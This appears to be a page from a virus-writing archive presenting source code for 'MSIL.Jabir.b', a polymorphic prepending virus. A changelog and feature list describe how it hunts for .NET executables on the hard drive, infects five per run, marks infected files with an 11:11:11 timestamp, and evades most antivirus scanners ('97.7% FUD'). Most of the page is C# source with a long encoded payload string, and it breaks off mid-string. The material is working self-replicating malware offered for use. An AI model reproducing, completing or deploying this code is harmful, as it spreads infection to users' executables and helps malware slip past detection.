return To index | download demo package!
MSIL.Jabir.b Source Code
========================
alcopaul/brigada ocho
may 25, 2011
This is a recode of MSIL.Jabir, a polymorphic prepending virus published in dark codez #3.
What's new
----------
1.) Variable changing in both head and tail.
2.) No more double compilation of virus source to get virus length (look at #3)
3.) For host execution - Dependence on host length. Version .a depended on virus length.
4.) Commandline parameters are now passed from the virus to host.
5.) File's Modified time as virus signature (Inspired by the old school Vienna virus).
6.) Cleaner code.
Features
--------
1.) Polymorphic/Variable changing prepender.
2.) Looks for msil exe files in hard drive and infects 5 msil exe files per run.
3.) Infected files has 11:11:11 (hour:minute:seconds) last modifed time. No reinfection.
4.) Infected files are 97.7% FUD by Virustotal.com (AntiVir - TR/Dropper.Gen)
====================================================================================================================
using System;
using System.CodeDom;
using System.IO;
using System.CodeDom.Compiler;
using System.Text;
using Microsoft.CSharp;
using System.Diagnostics;
using System.Reflection;
namespace ConsoleApplication6
{
class XProgramX
{
private static int counter = 0;
private static string database = "0008080>4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b+f4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+E4b+14b+o4b+k4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+d4b+54b+z4b+i4b+/4b+j4b+/4b+24b+k4b6+4b+T4b+D4b+44b+x4b+i4b+g4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+U4b+54b+x4b+34b++4b+/4b+j4b+k4b+54b+z4b+j4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+C4b+14b+24b+84b+14b+z4b+k4b+54b+/4b++4b6r4b6d4b6a4b6d4b6a4b++4b+x4b+94b+14b+j4b+g4b+x4b+z4b+14b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6d4b6a4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b+z4b+84b+x4b+j4b+j4b6w4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6d4b6a4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+54b++4b+k4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6w4b6t4b6w4b6y>4b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b+54b++4b+k4b6w4b+34b+/4b+x4b+k4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+84b+14b+k4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b6n4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+C4b+x4b++4b+04b+/4b+94b6w4b+o4b+i4b+x4b++4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b+34b+/4b+x4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+94b+94b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+94b+94b6w4b6s4b6w4b6n4b6r4b6w4b+54b+94b+94b+94b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+o4b6w4b6t4b6w4b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6g4b684b6w4b6i4b6m4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+84b+14b+k4b+o4b+L4b+54b+94b+94b+94b+N4b6w4b674b6t4b6w4b644b+z4b+44b+x4b+i4b654b644b634b+x4b634b6w4b674b6w4b++4b+l4b+94b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+j4b+k4b+i4b+54b++4b+34b644b+84b+14b+k4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b674b6w4b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6h4b684b6w4b6i4b6g4b6g4b6g4b654b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6w4b6w4b6w4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+d4b+x4b+54b++4b644b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+x4b+i4b+34b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6w4b6t4b6w4b6y4b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+z4b+54b+74b6w4b6t4b6w4b6g4b6r4b6w4b+z4b+54b+74b6w4b6s4b6w4b+x4b+i4b+34b+j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+z4b+54b+74b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6w4b674b6t4b6w4b+x4b+i4b+34b+j4b+L4b+z4b+54b+74b+N4b6w4b674b6w4b6y4b6w4b6y4b6r4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+j4b+14b+84b+24b+p4b6w4b6t4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6+4b+X4b+14b+k4b+T4b+l4b+i4b+i4b+14b++4b+k4b+A4b+i4b+/4b+z4b+14b+j4b+j4b644b654b6+4b+d4b+x4b+54b++4b+d4b+/4b+04b+l4b+84b+14b6+4b+W4b+54b+84b+14b+e4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+p4b+o4b+o4b6w4b6t4b6w4b+A4b+x4b+k4b+44b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+e4b+x4b+94b+14b644b+o4b+j4b+14b+84b+24b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+34b+84b+14b++4b6w4b6t4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+C4b+/4b+/4b+k4b644b+o4b+p4b+o4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+04b+54b+i4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b644b+Q4b+34b+84b+14b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+04b+54b+i4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6o4b6o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+o4b+j4b+14b+84b+24b+p4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+y4b+44b+/4b+j4b+k4b+y4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6h4b6o4b6o4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b6w4b6t4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b6y4b6g4b6h4b6i4b6j4b6k4b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6h4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6h4b6o4b6o4b684b6w4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b684b6w4b+y4b+44b+/4b+j4b+k4b+y4b6w4b694b6w4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6o4b6o4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+84b+/4b+64b+44b6w4b6t4b6w4b++4b+14b+n4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b644b654b6+4b+X4b+14b+k4b+S4b+p4b+k4b+14b+j4b644b6y4b+64b+x4b+y4b+54b+i4b6+4b+y4b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+p4b+k4b+p4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6+4b+e4b+14b+o4b+k4b644b6i4b6g4b6g4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6m4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+H4b+i4b+54b+k4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+24b+j4b6m4b684b6w4b+y4b+p4b+k4b+14b+j4b6h4b684b+84b+/4b+64b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6m4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b+D4b+k4b+x4b+i4b+k4b+Z4b++4b+24b+/4b6w4b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b6w4b6t4b6w4b++4b+14b+n4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b+D4b+k4b+x4b+i4b+k4b+Z4b++4b+24b+/4b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b684b6w4b+Q4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6w4b+o4b+k4b+o4b6w4b6t4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6+4b+D4b+k4b+x4b+i4b+k4b644b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+o4b+k4b+o4b6+4b+H4b+x4b+54b+k4b+W4b+/4b+i4b+V4b+o4b+54b+k4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+54b++4b+x4b+84b+84b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+U4b+14b+84b+14b+k4b+14b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+Z4b++4b+24b+14b+z4b+k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6j4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+54b+g4b+g4b+z4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6h4b6j4b6j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6h4b6j4b6j4b684b6w4b+54b+g4b+g4b+z4b684b6w4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6j4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+d4b+54b+84b+84b+54b+j4b+14b+z4b+/4b++4b+04b654b6+4b+e4b+14b+o4b+k4b644b6h4b684b6w4b6h4b6h4b6h4b6h4b6h4b6h4b654b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6h4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6i4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6k4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+o4b+k4b+o4b6w4b6t4b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+r4b6w4b634b6u4b634b6w4b+t4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+p4b6w4b6t4b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+o4b+k4b+o4b+L4b6h4b+N4b654b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+o4b+k4b+o4b+L4b6g4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+q4b6w4b6t4b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+o4b+k4b+o4b+L4b6i4b+N4b654b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+o4b+k4b+o4b+L4b6g4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+54b6w4b6t4b6w4b+z4b+/4b+04b+14b+p4b6w4b674b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b6y4b+24b+Y4b+n4b6t4b6y4b654b6w4b674b6w4b+z4b+/4b+04b+14b+q4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+g4b+/4b+84b+p4b+o4b644b+z4b+/4b+04b+14b+54b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+m4b6w4b6t4b6w4b+o4b+k4b+o4b+L